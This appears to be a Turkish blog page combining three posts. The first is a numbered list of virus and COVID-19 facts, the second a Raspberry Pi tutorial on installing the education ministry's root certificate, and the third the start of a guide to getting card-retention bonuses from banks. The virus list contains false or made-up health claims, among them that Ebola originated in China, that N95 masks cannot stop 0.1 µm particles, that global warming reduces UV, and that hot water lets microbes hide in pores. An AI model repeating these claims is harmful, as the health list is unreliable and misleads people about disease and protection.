  16. UV (ultraviyole), Gama ve X ışınları virüsleri kısa sürede etkisiz bırakır. Formaldehit, hidroklorik asit, sodyum hipoklorit (çamaşır suyunun etken maddesi), eter ve kloroform gibi lipit eritici maddelere karşı oldukça hassastırlar. PH’ı 1.5 – 3.5 arasında olan mide asidi ile temas ettiklerinde çoğu virüs harap olur. Etkili bir ortam temizliği yapacaksanız 1:10 oranında sulandırılmış çamaşır suyu (sodyum hipoklorit) kullanabilirsiniz. Kaynak-1, Kaynak-2

  17. İçme suları bakterilere karşı klor ile korunurlar, virüsler için ise klor seviyesini artırmak gerekir. Alkol bazlı antiseptiklerle el temizliği yapılabilir. %70 ve üzeri alkol içerek kolonya el temizliği için etkilidir. Buradan konuyla ilgili videoyu izleyebilirsiniz. Genel tecrit kuralları gereği eller sıkça yıkanmalıdır.

  18. Çamaşırların detarjan ile yıkanması virüslerin etkinliğini tamamen ortadan kaldırmaz. Uzun süre (saatlerce) deterjan içinde bekletilmesi gerekir.

  19. Virüsler canlı organizma dışında kristalize olurlar (halk tabiri ile uykuya geçerler) yani cansız özellik gösterirler. Bazı virüsler bu şekilde yıllarca varlıklarını sürdürebilirler.

  20. İnsandan insana bulaşma, genellikle enfekte olmuş kişi öksürdüğünde nanometre boyutlarındaki virüsün havadaki serbest partiküllerin üzerine yapışarak taşınır. Bu nedenle, özellikle eviniz dışındaki ortamlarda N95 sertifikalı bir maske ile dolaşmak faydalı olacaktır. Birkaç saat önce havaya virüs partiküllerini bırakan (hapşırarak) kişi, akciğerleriniz aracılığıyla sizi de enfekte edebilir. N95, FFP2 ve FFP3 gibi maskeler 0.6um üzeri partikülleri tutmak için tasarlandığından covid-19 gibi 0.1um (100nano metre) çaplı virüsleri tutmakta başarılı olmayabilirler.

  21. Klimaların filtre sistemi elektrostatik ve HEPA filtrelerden oluşur. Klima ve temiz hava üflediğini iddia eden cihazlar genel olarak virüslere karşı tam koruma sağlayamazlar. Bu cihazlar, virüslerin partikül boyutunun çok küçük olmasından ötürü (nanometre) virüslerin bir kısmını tutarken bir kısmını ortama üflerler.

  22. Ebola virüsü Çin kaynaklıdır (korona da Çin’in aynı bölgesinden yayılmaya başlamıştır) ve %10 gibi ölüm oranına ulaşmıştır. Ebola da diğer tüm salgınlar gibi durmuştur.  Salgının durmasında iki faktörden bahsedilir. Hipoteze göre;

    1.  Örneğin lab ortamında 10 tavşanla zincirleme yapılan bulaştırma deneyinde. 10. tavşana yaklaşırken ölüm oranı azalmış, 10. tavşan hayatta kalmayı başarmıştır. Virüs her bulaşıda genetik değişime uğramıştır. Bu virüslerin doğaya uyumu ve doğal seleksiyonu ile açıklanabilir. Bu nedenle bir virüs salgınının tüm dünyayı sarması ve insanlığı yok edebilme potansiyeli yoktur.

    2. Genel salgın halini almış virüsler aynı türün tüm bireylerinde aynı etkileri göstermeyebilir. Ölümcül virüs bulaşan ve hastalık semptomları göstermeyen/hayatta kalan/doğal bağışıklık geliştiren vakalarla da karşılaşılmıştır. Bu durum enfekte olan canlının genetik özellikleri ile ilgilidir. Buradan yola çıkarak belli bir coğrafi bölgede yaşayan canlıların virüse doğal bağışıklığının veya doğal zayıflığının olmasından bahsedilebilir.

  23. Elinizle virüslü bir yüzeye temas ettiğinizi düşünüyorsanız başka hiçbir yere dokunmadan bir alkollü bir temizleyici/el sabunu ile temizliğinizi yapın. Dokunduğunuz eşyalarınızı da benzer şekilde temizleyin. Virüs’ü nanometre ölçülerinde (100-130nm) kristalize olmuş cansız bir toz taneciği gibi düşünebilirsiniz. Bu taneciklerin canlı bir organizma ile karşılaşmaması gerekiyor. İnsan için konuşursak canlı hücrelerimize açılan kapılarımız ağız, burun, göz ve kulaklarımızdır. Ellerinizi bu 4 organınız ile temas ettirmeyin. Tecrit (pandemi) sürecinin devam ettiği dönemlerde dış ortamda iken bu 4 organınıza ellinizle temasda bulunmayın.

  24. Bilim insanları bugüne dek gezegen üzerindeki tüm canlıların %1’inden azının bulunup belgelendiğine, geriye kalan %99’luk bölümün bile en az on katı kadar bilinmeyen virüs içerebileceğine ve bunların büyük bir bölümünün de zararsız ancak yaşamın vazgeçilmez birer parçası olduklarına inanıyorlar. İnsan sağlığı için faydalı olan 7 virüs hakkında bilgiye şu sayfadan ulaşabilirsiniz.

  25. Virüslerin bilinçli olarak üretildiği teorileri gerçekçi değildir. Virüs tasarımı yapmakta kullanılan genetik teknolojisi ve elektron mikroskoplarından da önce çok sayıda pandemik vaka yaşanmıştır. Örneğin:
    1. İspanyol gribi: Yıl 1918. Çıkış bölgesi bilinmiyor. Dünya çapında atfedilen tahmini ölüm sayısı 20-50 milyon. Etkilenen yaş grupları genç erişkinler.
    2. Asya gribi: Yıl 1957-1958. Çıkış bölgesi Güney Çin. Dünya çapında tahmini ölüm sayısı 1-4 milyon. Tüm yaş grupları etkilendi.
    3. Hong Kong gribi: Yıl 1968-1969. Çıkış bölgesi Güney Çin. Dünya çapında atfedilen tahmini ölüm sayısı 1.4 milyon. Tüm yaş grupları etkilendi.
    4. İnfluenza A(H1N1): Yıl 2009-2010. Çıkış bölgesi Kuzey Amerika. Dünya çapında atfedilen tahmini ölüm sayısı 100-400 bin. Etkilenen yaş grupları çocuklar ve genç erişikinler.

  26. Bir virüsün salgın halini alıp Dünya geneline yayılması engellenemediğinde, DSÖ tarafından pandemi ilan edilir. Pandemi durumunda temel ihtiyaç malzemelerinin üretimi ve ulaştırılmasında darlık yaşanabilir ve tedariği güç hale getirebilir. Tedariği güçleşecek muhtemel ürünler, temizlik malzemeleri, kişisel hijyen ve korumaya yönelik malzemeler (kolonya, el dezenfektanı, koruma maskeleri vb.) olacaktır. Mevsimlik üretimi söz konusu olan gıda maddelerinin de tedariği güçleşebilir. Pandemi sırasında bu maddelerin üreticisi tarafından daha az üretilebilmesi (personel ve hammade tedariği sorunları) söz konusu olabileceği gibi, kişilerin sınırlı temas nedeniyle stok yapması ve panik havası neden olur. Türkiye’nin ulusal pandemi planına buradan ulaşabilirsiniz.

  27. İklim değişikliği neticesinde meydana gelen yeni koşullara birçok organizma adaptasyon sağlayamayıp olumsuz etkilenirken, virüsler bu koşullara en iyi adapte olan nadir yapılardır. Bu da iklim değişikliklerinin, viral salgınların sayısı ve etkisini önemli ölçüde etkileyeceğini göstermektedir. Ayrıca, küresel ısınmaya bağlı olarak ozon tabakasındaki değişiklikler yeryüzüne ulaşan UV ışınlarında azalmaya neden olmakda bu da virüslerin daha uzun süre varlıklarını korumalarına neden olmaktadır. Güneşin UV radyasyonunun mevsimsel influenza pandemilerinin oluşumunda rol oynadığı ve iklim değişikliği durumunda değişime uğrayabileceği de bildirilmiştir. Kaynak
  28. Virüs ve mikroorganizma (bakteri) enfeksiyonuna karşı ellerin sıkça yıkanması önemlidir. Eller yıkanırken sıcak su ile yıkanmamalıdır. Sıcak su, ellerimizin üzerinde yer alan por olarak adlandırılan boşlukların açılmasına ve o küçük alanlara mikroorganizmaların/virüslerin girerek, su ve sabunun etkisinden kurtulmasına neden olabilir. Kaynak.

  29. Yaygın salgınlarda ve pandemi durumlarında devlet yetkilileri birçok konuda doğru karar vermekte zorlanabilirler ve kararlarında gecikebilirler. Bunun siyasi, ekonomik, toplumsal ve dinsel birçok nedeni olabilir. Benzer şekilde haber kaynağı medya organları da toplumun dikkatini doğru noktalara çekme, zamanında ve objektif olarak bilgilendirme konusunda yetersiz kalabilir bazen taraflı davranabilirler. Bu durumlarda maddi ve manevi olarak biryerlere bağlı olmayan, kar amacı gütmeyen bağımsız uzmanlardan, meslek örgütülerinden ve onların yetkili temsilcilerinden bilgi alabilir onların açıklamalarını takip edebilirsiniz. Bu kaynkalardan doğrudan bilgi almak için en iyi yöntem söz konusu kişi ve kurumların resmi twitter hesapları olacaktır. Diğer taraftan bu süreçleri başarıyla ve yöneten ülkeler de olabilir. Kaynak-1

Korona (Covid 19) Virüsü

covid19 ncov 2019 a
NCOV-2019 A
  1. Korona virüsünün bulaşma ve çoğalma animasyonunu izlemek için tıklayın.

  2. KORONA (2019-nCoV) virüsü daha çok yaşlılarda, yaşlılığa bağlı zayıf metabolik düzenekleri/organları ya da kronik hastalıkları alevlendirerek etkide bulunur. Solunum yolu rahatsızlıkları başta olmak üzere, baş ağrısı, miğde bulantısı ve ateş belirtileri vardır.

  3. Örneğin korona (covid-19) hiçbir semptom göstermeden 5 ile 8 gün vucutta çoğalır ve bu arada diğer insanları bilmeden enfekte etmenize neden olur. Enfekte olduğunu bilmeyen kişiyle toplum arasında izolasyonun sağlanabilmesi için  maske kullanımı önem arz eder. Enfeksiyonun gerçekleşmesi için karşı tarafa hapşırma veya öksürme olması gerekmez. Kısa mesafeden konuşmak da enfeksiyonun gerçekleşmesi için yeterli olabilir. Ancak bu şekilde bulaşan virüs sayısı görece az olacağından karşı tarafı enfekte etmek için yeterli olmayabilir. Kaynak-1, Kaynak-2.

  4. Virüsler canlı organizma dışında kristalize olurlar (halk tabiri ile uykuya geçerler) yani cansız özellik gösterirler. Bu şekilde yıllarca varlıklarını sürdürebilirler. Ancak KORONA (2019-nCoV) bu şekilde çok uzun süre dayanamaz. Yapılan araştırmaya göre covid-19, plastik ve metal gibi yüzeylerde 3 gün kadar etkinliğini koruyabiliyor.  Araştırmayla ilgili haberi buradan izleyebilirsiniz. Bazı materyallerin covid-19’u tutma süreleri ise şöyle:
    1. Plastik: 3 Gün
    2. Paslanmaz çelik: 3 Gün
    3. Bakır: 4 Saat
    4. Kağıt: 4 Gün

  5. KORONA (2019-nCoV) virüsü kuru ve inorganik ortamlarda en fazla 4 güne kadar etkinliğini sürdürebilir. Çin’den gelen kargolar ile “CRONA/KRONA/KORONA(2019-nCoV)virüsü bulaşma ihtimali bu süre aşıldığında oldukça düşük. Ancak enfekte olmuş birisinin organik atığı içinde virüs daha uzun süre aktif kalabilir (virüsün canlı organizmalar ile birlikte içinde çoğalabileceği organik bir ortam).

  6. İnsandan insana bulaşma, genellikle enfekte olmuş kişi öksürdüğünde nanometre boyutlarındaki virüsün havadaki serbest partiküllerin üzerine yapışarak taşınır. Covid-19 (korona) yaklaşık olarak 100-130 nm çapındadır ve havada sprey etkisi ile bir kaç saat (3 saat) hareket edebilir. Bu nedenle, özellikle eviniz dışındaki ortamlarda N95 sertifikalı bir maske ile dolaşmak faydalı olacaktır. Birkaç saat önce havaya virüs partiküllerini bırakan (hapşırarak) kişi, akciğerleriniz aracılığıyla sizi de enfekte edebilir. N95, FFP2 ve FFP3 gibi maskeler 0.6um üzeri partikülleri tutmak için tasarlandığından covid-19 gibi 0.1um (100nano metre) çaplı virüsleri tutmakta başarılı olmayabilirler.

  7. Korona virüsünün 1-2 yıl içinde Dünya nüfusunun önemli bir kısmına ulaşacağı düşünülüyor. Virüs’ün hastalarda yarattığı en büyük yıkım akciğerler üzerinde gerçekleşiyor. Hatta iyileşip normal hayatına dönen insanlar da akciğer rahatsızlıklarının devam ettiği raporları da mevcut. Virüs akciğerlerde kalıcı hasar bırakıyor. Muhtemel hastalar için buradaki aktif nefes egzersizleri virüsün olası etkilerini en aza indirmek için faydalı olabilir.

  8. Korona virüs’in mortalite oranı (bulaşan hasta sayısının/ölümüne sebep olduğu hasta sayısına oranı) diğer virüs salgınları ile karşılaştırıldığında oldukça düşük. Örneğin İnfluenza A(H1N1) 100.000 insandan fazlasını öldürmüştü. Bu virüs teknik olarak güçsüz. Yani çoğu hastada hastane ile sonlanmayan iyileşme süreçleri ve çok düşük yoğun bakım oranları söz konusu. Peki pandemi ilan edilmesinin gerekçesi ne olabilir? Bu gerekçenin ana nedeni tam olarak “virüsün yeterince güçlü olmaması”. Kuluçka süresinin göreceli olarak uzun olması (14 gün) de bunun bir kanıtı. Virüs’ün kuluçka evresinin uzun olması semptomların çok geç ortaya çıkmasına neden oluyor. Bu arada da enfekte  olan kişi virüs’ü enfekte olduğundan habersiz yaymaya devam ediyor. Virüs kısa sürede güçlü semptomlar gösteren bir tür olsaydı daha hızlı farkedilecekti ve yayılmasının önü alınabilecekti.
El sabununun etkili olduğu virüs ve bakteriler

Raspberry Pi’a (Linux) MEB Kök Sertifikası Nasıl Yüklenir?

SSL (Secure Socket Layer), https gibi güvenli iletişim protokollerinin kullandığı şifreleme altyapısını sağlar. Güvenli bir protokol kullanarak gerçekleştirilen iletişim, her iki tarafta da (istemci ve sunucu) şifrelenerek aktarılır. Bunun için asimetrik şifreleme adı verilen bir yöntem kullanılır. Bu yönteme göre; özel ve açık anahtar adı verilen iki adet anahtar üretilmiştir. Açık anahtar herkesçe erişilebilirdir ve şifrelenmek istenen veri henüz istemci tarafında iken bu anahtar ile şifrelenerek gönderilir. Bu anahtarın şifrelediği veriyi sadece özel anahtar açabilir.

Diğer çağdaş işletim sistemlerinde olduğu gibi, Raspbian dağıtımı ile de dünyada en çok itibar gören yani güvenli kabul edilen açık anahtarlar yüklü olarak gelir. Bu anahtarlar sertifika adı verilen dosyalar içinde kayıt edilmiştir (uzantıları cert, crt, pem olabilir). Sözünü ettiğim sertifikaların bulunduğu dizin /etc/ssl/certs’dir. Dilerseniz bu sertifikaların depolandığı dizine yeni sertifikalar da yükleyebilirsiniz. Ancak yüklediğiniz sertifikanın güvenilir bir kaynaktan geldiğine emin olmalısınız. Ne de olsa yükleyeceğiniz bu sertifika açık ağlar üzerinde seyahat edecek olan verilerinizi şifrelemek için kullanılacak. Aksi takdirde iletişiminizin arasına giren bir saldırgan (MITM saldırı yöntemi) tüm verilerinizi deşifre edebilir ve ele geçirebilir.

Yüklemek istediğiniz sertifikanın uzak bir web sunucusunda bulunduğunu varsayarsak, öncelikle Raspberry Pi bilgisayarına indirilmesi gerekir:

[email protected]:~ $ cd /etc/ssl/certs
[email protected]:~ $ sudo su

[email protected]:~ # wget http://sertifika.meb.gov.tr/MEB_SERTIFIKASI.cer

Yukardıdaki gibi MEB_SERTIFIKASI.cer adlı sertifikanın Raspberry Pi bilgisayarında kullanılabilmesi için pem (base64) biçimine dönüştürülmesi gerekir bunun için  aşağıdaki komutu kullanabilirsiniz:

[email protected]:~ # openssl x509 -inform der -in MEB_SERTIFIKASI.cer  -out MEB_SERTIFIKASI.pem

Pem dosyası oluşturulduktan sonra cer dosyasını silebilirsiniz. Yeni yüklenen sertifikaların ağ bağlantısı ile çalışan programlar tarafından kullanılabilmesi için sertifikalara ait sembolik linklerin yeniden oluşturulması gerekir.

[email protected]:~ # rm -rf *.cer

[email protected]:~ # update-ca-certificates -f

Bu sertifika gerektiğinde ilgili istemci program tarafından otomatik olarak kullanılacak ve veri trafiği sadece uzak sunucunun çözebileceği şekilde şifrelenecektir. Tekrar hatırlatmak gerekirse; sertifikaların güvenli bir kaynaktan geldiğinden emin olmalısınız, çünkü sertifikayı oluşturan kuruluş (yani özel anahtarına sahip olan kuruluş) tüm şifreli trafiğinizi açık olarak görebilir. Bu (kök sertifika yükleme işlemi) genellikle güvenli internet bağlantılarının incelenmek/filtrelenmek istendiği güvenlik duvarı uygulamalarında kullanılır.

 

Bankaları alt etme rehberi !

“Kölelik” sisteminin mimarı, kapitalizmin maşası ve tokmağı  bankalara hak ettiğini vererek, “efendi” olma sırasının bir anlığına da olsa biz sıradan “insanlara” geçtiği zamanları hayal ediyorum.

Bu sayfanın içeriği işte bu düşünce etrafında şekillenecek. Yasalara “uygun olarak” sistemin etrafından dolaşmanın ve sömürü düzeneninden en az zararla çıkabilmenin yöntemlerinin sıralanacağı bu uzun listenin ülkemiz insanlarına fayda getirmesi dileği ile sizlerinde de katkıları ile paylaşıyorum. Sevgilerimle.

“Bir dost.” 

Kredini kartını (KK) kapatmama sözüne çip para / bonus?
(A1: Lütfen kapatma, sana muhtacım algoritması)

Bu başlığı okumaya başlamadan önce, zor olsa da şunları özümsemeye çalışmalısınız;

  • Bankacılık sistemi karını yükseltmek amacıyla, sürekli güncellenen ve çevik hale getirilen algoritmalar ile yönetilirler.
  • Banka veya müşteri temsilcisi ile herhangi bir konuda işlem yaptığınızda, bir insanla iletişim kurduğunuzu sansanız da aslında karşınızdaki bu algoritmalardır. Algoritmaların inşa ettiği kuralların sonucuna göre cevap alırsınız ve/veya işleminiz sonuçlandırılır. Size isminizle hitap edilmesi veya sıcak bir tonla iletişim kurulması da bu bu algoritmanın bir parçasıdır. Kişisel algılamayın.
  • Tatlı dil yılanı deliğinden çıkartır. Ama bu sadece sizin için geçerli. Bankayı kavuğundan çıkartmak için onun çalışma şeklini ve algoritmik kurallarını bilmelisiniz.

Bu başlıkta anlatılan bankacılık algoritması, bir KK kullanıcısının kartını kapattırmak istemesi üzerine bankanın kartı kapattırmamak karşılığında bazı avantajlar (TL yükleme) teklif etmesini içermektedir ve ortalama 4 dakika sürmektedir.

Etkin olarak kullandığınız bir kartınız varsa, banka kapatma talebinizden vazgeçirmek üzere size bir teklifde bulunur. Teklifin miktarı, ekonomik ve sosyal durumunuz, aylık veya yıllık ortalama geliriniz ile KK harcama/ödeme tutarlarınızdan oluşturulan bir model veya skorlama sistemi ile belirlenir. Ortalama 3000TL’lik harcaması olan bir KK kullanıcısına 2020 yılı itibari ile  ortalama 100TL (sadece 6 ay boyunca açık kalma sözüne karşılık) teklif edilebilir ve kabul etmeniz durumunda anında kartınıza yüklenir. Bu algoritma devlet bankaları için teyide muhtaç olmakla birlikte her banka için benzer şekilde işler. Diğer taraftan, bu talebinize bir teklif yapılmayarak kartınız da kapatılabilir. Bu tamamen bankanın sizin için işlettiği skorlama sisteminden kaynaklanır. Üzülmeyin! düzenli ödemesi olan bir KK kullanıcısı iseniz yeni bir kart talep etmek kolaydır.

Bazı sorular… Peki, bu teklif neden yapılır? banka KK kullanıcısını çok mu sever? Bu teklif algoritmiktir ve nedenlerinden bazıları şunlardır:

  • Bankalar üye işyerlerinden harcama tutatının %1.6’sını her taksit içinde %0,89 kesinti yapar.
  • Yani banka, 3000TL harcaması olan bir KK kullanıcısı sayesinde üye işyerlerinden aylık yaklaşık olarak 48TL tahsilat yapar. Bu 6ay için hesaplarsak da rakam 288TL ‘ye karşılık gelir. Eğer alışverişlerinizde taksitlendirme de yapıyorsanız bankanın kazancı katlanarak artar.
  • Banka için 288 getirisi olan bir müşteriyi 100TL karşılığında kazanmak karlı bir iştir. Banka bu işten potansiyel olarakolarak 188TL karlı çıkar.
  • KK müşterisi olmaya devam ettiğinizden, banka diğer bankacılık işlemleri/enstrümanları üzerinden para kazanma potansiyelini de muhafaza etmiş olur.

Bazı istisnai durumlar da şunlar olabilir:

  • Bankanın maaş müşterisi değilseniz veya KK aidatının alınmayacağı ile ilgili özel bir şarta sahip değilseniz banka çip para/bonus yüklemesi yapmak yerine kesilen aidat ücretini iade etmeyi teklif edebilir.